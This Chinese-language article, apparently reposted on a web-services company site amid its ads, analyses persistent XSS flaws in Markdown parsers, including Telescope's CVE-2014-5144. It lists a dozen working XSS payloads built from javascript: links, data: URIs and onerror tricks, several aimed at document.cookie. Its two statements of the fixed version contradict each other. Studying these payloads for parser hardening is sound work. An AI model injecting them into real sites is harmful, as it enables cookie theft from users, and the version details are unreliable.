漏洞分析：一个Markdown解析器的持久型XSS漏洞

什么是Markdown?

成都创新互联专注为客户提供全方位的互联网综合服务，包含不限于做网站、网站设计、乌拉特前网络推广、重庆小程序开发、乌拉特前网络营销、乌拉特前企业策划、乌拉特前品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等，从售前售中售后，我们都将竭诚为您服务，您的肯定，是我们最大的嘉奖；成都创新互联为所有大学生创业者提供乌拉特前建站搭建服务，24小时服务热线：13518219792，官方网址：www.cdcxhl.com

Markdown是一种轻量级的标记语言，流行程度已经得到了GitHub和Stack Overflow的广泛支持，作为普通人我们也可以轻松上手。

用markdown来写文章非常赞，那些琐碎的HTML标签都可以抛到脑后不用管。最近5年内，markdown收到非常多的关注，包括Reddit,Github,StackOverflow在内的很多应用都使用 markdown这也催生了很多的markdown解析器的产生，这里定义了一些markdown语法，语法约定markdown解析器将这些标签解析为html标签。

Markdown安全现状

Markdown解析器的安全现状如何?有没有对用户输入的数据做过滤?

事实上，很多markdown解析器都没有过滤用户输入的数据，那么如果markdown被用于添加用户评论等功能的时候，就有可能存在安全风险。

这里有一些关于这个问题的讨论：[1], [2], [3].

另外，如果用googe搜索一下：

markdown xss issue site:github.com

你就会发现github上又很多***很高的项目都被发现存在XSS 漏洞。

所以，如何构造一些payload呢?看下面这些：

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
 
<javascript:alert('XSS')>  
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

上面这些payload是由Aleksa和原文作者一起搞出来的。在过去的12个月内，在实际渗透测试中证明，上面的这些 payload 是有效的。并且很多 markdown 解析器都受到影响。来看一下***一个payload：

[test](javascript://%0d%0aprompt(1);com)

我们猜测，markdown 解析器可能通过如下几个步骤来进行解析&转换：

判断时候有协议头?//有javascript 伪协议，Y

hostname 是以常见的域名后缀(com, org)结尾的?//是的，以 com 结尾 Y

将上述 payload 转换为 HTML 标签，//结果如下

成功构造了一个XSS payload!当点击了上述链接后，就会触发XSS!

Telescope解析器一个持久性 XSS 漏洞(CVE-2014-5144)

Telescope是一个有名的开源项目，类似Reddit和Hackernews一样，提供一个社区功能。Telescope的一个解析帖子&评论的功能存在 XSS 漏洞，并且这个功能存在很久了!

在0.9.3之前的版本中，以上面的 payload 列表中的 payload 发帖或者发表评论，就可以导致一个XSS漏洞。该漏洞已经修复，Telescope在这里发了changelog：http://www.telesc.pe/blog/telescope-v093-dailyscope/

下面是漏洞对应的payload：

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

注意：上述漏洞已经在Telescope >= 0.7.3版本中修复了。

网站名称：漏洞分析：一个Markdown解析器的持久型XSS漏洞
转载来于：http://www.mswzjz.cn/qtweb/news44/258794.html

攀枝花网站建设、攀枝花网站运维推广公司-贝锐智能，是专注品牌与效果的网络营销公司；服务项目有等

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源：贝锐智能

贝锐智能技术为您推荐以下文章